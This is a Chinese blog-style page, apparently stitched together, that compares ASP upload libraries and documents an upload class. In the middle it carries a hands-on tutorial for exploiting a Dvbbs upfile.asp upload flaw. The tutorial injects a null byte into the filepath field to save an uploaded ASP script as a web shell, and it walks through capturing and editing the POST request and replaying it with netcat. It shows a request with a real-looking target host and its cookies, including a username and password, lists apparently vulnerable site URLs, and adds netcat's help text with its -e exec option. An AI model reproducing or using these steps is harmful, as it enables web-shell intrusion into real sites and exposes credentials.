ASP文件上传方式大比拼

无组件方式

1.化境ASP无组件上传 V2.0;
一直以来,由于FileSystemObject的局限,所以ASP最大的难题就是文件上传,大多解决法就是安装第三方上传组件。可第三方组件有很多问题,有的组件要注册,有的组件要在表单中加上他的版权信息。还有的就是组件的兼容问题。在网上也流传了很多无组件上传的代码,但都是只能上传文本文件,或是只能将文件上传到数据库中。 化境无组件上传的概念,是在全国,甚至整个网络界,首次提出的,由于代码是开发的,所以在本代码发布后,现在已被网友修改成各式各样的版本。

2.无惧无组件上传类2.0;
在2004年7月10日完成了"无惧无组件上传类2.0"版,该版相对于前作在安全上作出了最大的改进,在类内部实现了上传类型的黑白名单,更多方便了各种上传的环境,即使黑客突破了上传程序,但是最终在保存文件时会使他的所有努力付之流水,该版在使用上比前作更加方便,更人性化了。由于添加和修改了不少属性值,在移植上需要作出比较大的修改。

3.风声无组件上传类V2.0 [Rumor UpLoadClass Version 2.0];
长期以来,上传文件是ASP的一个难题。第三方组件上传速度快,但是需要在服务器端注册,而且有部分需要附加版权信息或付费使用,对大多数用户是可望不可及的事。网络上流传的一些无组件上传类,质量良莠不齐,在安全性设计上甚至存在一些漏洞,在性能方面,更是让用户望而却步。网标(Net Builder)经过长时间对上传算法的研究优化,开发出可与组件上传相媲美的ASP无组件上传类——风声无组件上传类。经测试,该无组件上传类在性能上明显超过同类ASP无组件上传程序,接近甚至超过一些上传组件,安全性、易用性更优于同类程序。

组件方式

1.LyfUpload上传组件(国产,作者:刘玉锋);
国产的很好用的免费上传组件

支持单文件上传 (1.2版支持上载文件覆盖判断功能)

支持上传多个文件

可以将上传的文件改名保存(1.2版支持变量保存功能)

可以同时使用其它的form元素的信息

支持限制文件上传的大小

支持限制文件上传的类型 (1.1版修改,支持多文件类型)(1.2版修正)

可以得到上传文件的大小 (1.1版新增功能)

支持将文件内容保存进数据库,如上载图形文件、DOC文件等各类Windows文件 (1.1版新增功能)

支持从数据库中读取上载文件到数据库中的记录,如显示图形文件、DOC文件等各类Windows文件 (1.1版新增功能)

可以得到上传文件的MIME类型,如gif文件为images/gif(1.2版修正)

本版本完全免费,没有任何限制

2.W3Upload上传组件;
与W3Jmail同一师门,老牌的上传组件;

3.AspUpload3.0上传组件;
邮件组件AspEmail大家肯定不陌生,这是同一家公司的产品,很不错的,支持进度条显示上传进度。

4.SaFileup上传组件;
老牌上传组件

5.SiteGalaxyUpload上传组件;
老牌上传组件

上传漏洞终结篇 一、写在前面 ***这个上传漏洞利用的原理只是针对form格式上传aspphp脚本*** NC(Netcat)   用于提交数据包   DOS界面下运行:   NC -vv www.***.com 80<1.txt   -vv: 回显   80: www端口   1.txt: 就是你要发送的数据包  (更多使用方法请查看本区的帖子) WSE(WSockExpert)   对本机端口的监视,抓取IE提交的数据包  (不会用的就自己到网上搜资料N多) 二、漏洞原理 下面例子假设的前提 www主机: www.***.com; bbs路径 : /bbs/ 漏洞源于对动网上传文件的研究,建议有一定编程经验的 看看Dvbbs的upfile.asp文件,没有必要全部看懂 upfile是通过生成一个form表上传,如下 <form name="form" method="post" action="upfile.asp" ...> <input type="hidden" name="filepath" value="uploadFace"> <input type="hidden" name="act" value="upload"> <input type="file" name="file1"> <input type="hidden" name="fname"> <input type="submit" name="Submit" value="上传" ...></form> 用到的变量: filepath 默认值uploadface 属性hiden act   默认值upload   属性hiden file1  就是你要传的那个文件 关键是 filepath 这个变量! 默认情况下我们的文件上传到www.***.com/bbs/uploadface/ 文件是用你的上传时间命名的,就是upfile里的这一句 FileName=FormPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&FileExt ------------------------------------------------------------------------- 我们知道计算机里面的数据是一"\0"为标致的用过C语言的都知道 char data[]="bbs" 这个data数组长度是4: b b s \0 如果我们构造filepath如下,会怎么样呢? filepath="/newmm.asp\0" 我们在2004.09.24.08.24传的文件就会发生变化 没有改时: http://www.***.com/bbs/uploadface/200409240824.jpg 用我们构造的filepath时: http://www.***.com/newmm.asp\0/200409240824.jpg 这样当服务器接收filepath数据时,检测到newmm.asp后面的\0 就理解为filepath的数据就结束了 这样我们上传的文件,比如c:\1.asp 就保存成: http://www.***.com/newmm.asp 三、后期补充 漏洞公布以后很多网站做了相应的处理,但是对于filepath的过滤处理都不行 有很多网站只是加了N个hiden属性的变量对付网上公布的upfile.exe就是那个 上传漏洞利用工具或者filepath变量利用工具(老兵的)...但是最基本的没改啊。。 而且很对网站的插件里有类似的漏洞,我要说的不要依赖哪些专门的工具 自己改WSE抓到的包里的filepath变量,然后在用NC提交。。。 就算他加N个hiden变量也于事无补。 当然,如果对filepath做了很严格的过滤的话我们的这些理论就将宣告终结 就是我们的新理论诞生的时候! 四、漏洞列表 http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5369http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5530http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5531http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5693http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5731http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5746 监听外部主机     NC [-options] hostname port[s] [ports] ... 监听本地主机     NC -l -p port [options] [hostname] [port] options:     -d       detach from console, stealth mode     -e prog     inbound program to exec [dangerous!!]     -g gateway   source-routing hop point[s], up to 8     -G num     source-routing pointer: 4, 8, 12, ...     -h       this cruft     -i secs     delay interval for lines sent, ports scanned     -l       listen mode, for inbound connects     -L       listen harder, re-listen on socket close     -n       numeric-only IP addresses, no DNS     -o file     hex dump of traffic     -p port     local port number     -r       randomize local and remote ports     -s addr     local source address     -t       answer TELNET negotiation     -u       UDP mode     -v       verbose [use twice to be more verbose]     -w secs     timeout for connects and final net reads     -z       zero-I/O mode [used for scanning] port numbers can be individual or ranges: m-n [inclusive] 详细实例: --------------------------------------------------------------------------------- 一、WSE抓包结果(存到1.txt里): POST /bbs/upPhoto/upfile.asp HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */* Referer: http://www.xin126.com/bbs/upPhoto/upload.asp Accept-Language: zh-cn Content-Type: multipart/form-data; boundary=---------------------------7d423a138d0278 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322) Host: www.xin126.com Content-Length: 1969 Connection: Keep-Alive Cache-Control: no-cache Cookie: ASPSESSIONIDACCCCDCS=NJHCPHPALBCANKOBECHKJANF; isCome=1; GAMVANCOOKIES=1; regTime=2004%2D9%2D24+3%3A39%3A37; username=szjwwwww; pass=5211314; dl=0; userID=62; ltStyle=0; loginTry=1; userPass=eb03f6c72908fd84 -----------------------------7d423a138d0278 Content-Disposition: form-data; name="filepath" ../medias/myPhoto/ -----------------------------7d423a138d0278 ... ... 上传 -----------------------------7d423a138d0278-- --------------------------------------------------------------------------------- 二、UltraEdit打开1.txt改数据: ...... -----------------------------7d423a138d0278 Content-Disposition: form-data; name="filepath" /newmm.asp█         <===这个黑色代表一个空格是 0x20,改成0x00就可以了 ...... --------------------------------------------------------------------------------- 三、重新计算cookies长度,然后nc提交 Nc -vv www.xin126.com 80 <1.txt UltraEdit是一个16位编辑器网上可以下载得到 我们主要用来写那个结束标致: \0 ====>16位表示:0x00或者00H 其实你改的时候就直接再filepath的结尾处加个00就OK了 计算cookies长度===>你把fillepath改了之后、肯定是或+或—cookies的长度变了 ...... Host: www.xin126.com Content-Length: 1969 <======就是这个 Connection: Keep-Alive Cache-Control: no-cache ...... 计算会吧?一个字母、数字就是1 对于上传漏洞提出的解决思路:(仅供参考) 1、一般的上传是把上传路径作为一个变量来处理 ===>我们的对策就是把filepath变成常量。。。 这个方法是目前最有效的(我认为的) 2、加强对于\0的处理,原来我们是读到这里就结束 我们继续读直道下一个变量开始的地方,处理就OK了
一、简介 自从接触ASP就开始接触上传,看过一些上传类,但是总感觉封装的还是不够简单,因此自己尝试写一个能够用最少最简单的代码实现各种上传方式上传类。在学校期间就开始写,一点点的完善、优化,到现在的版本,现在的版本能适应各种上传方式。上 传类的主要的功能如下: 1、自由设置最大上传大小、单文件最大上传大小 2、自由设置允许上传的文件类型 3、可设置文本的编码,以适应各种上传环境 4、内置进度条,用户可选择开启关闭 5、多种错误状态处理 6、多种文件保存方式:原文件名、随机文件名、用户自定义文件名 7、自由选择是否覆盖已存在文件 8、完整保存表单数据,支持同名表单,不支持同名文件域 注意: 1、特别注意Form一定要加上enctype="multipart/form-data"属性,method属性值必须是post,否则上传会出错 2、request.form()方法获取数据失效,请使用UpLoad.forms() 3、上传前请确认保存文件的文件夹有读写权限,若不可写则会出现"文件无法写入"错误,解决方法 http://dev.mo.cn/show.asp?id=81 二、调用方法 1、无组件类的调用方法: Dim Upload set Upload = new AnUpLoad 2、组件的调用方法: Dim Upload Set Upload = server.CreateObject("Anasp.Anupload") 注意:上传属性的设置必须在调用Upload.GetData()之前。 简单调用示例: Dim Upload set Upload=new AnUpLoad 'Set Upload = server.CreateObject("Anasp.Anupload") Upload.SingleSize=1024*1024*1024 '设置单个文件最大上传限制,按字节计;默认为不限制 Upload.MaxSize=1024*1024*1024 '设置最大上传限制,按字节计;默认为不限制 Upload.Exe="bmp|rar|pdf|jpg|gif" '设置合法扩展名,以|分割 Upload.Charset="gb2312" '设置文本编码,默认为gb2312 Upload.openProcesser=false '禁止进度条功能,如果启用,需配合客户端程序 Upload.GetData() '获取并保存数据,必须调用本方法
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值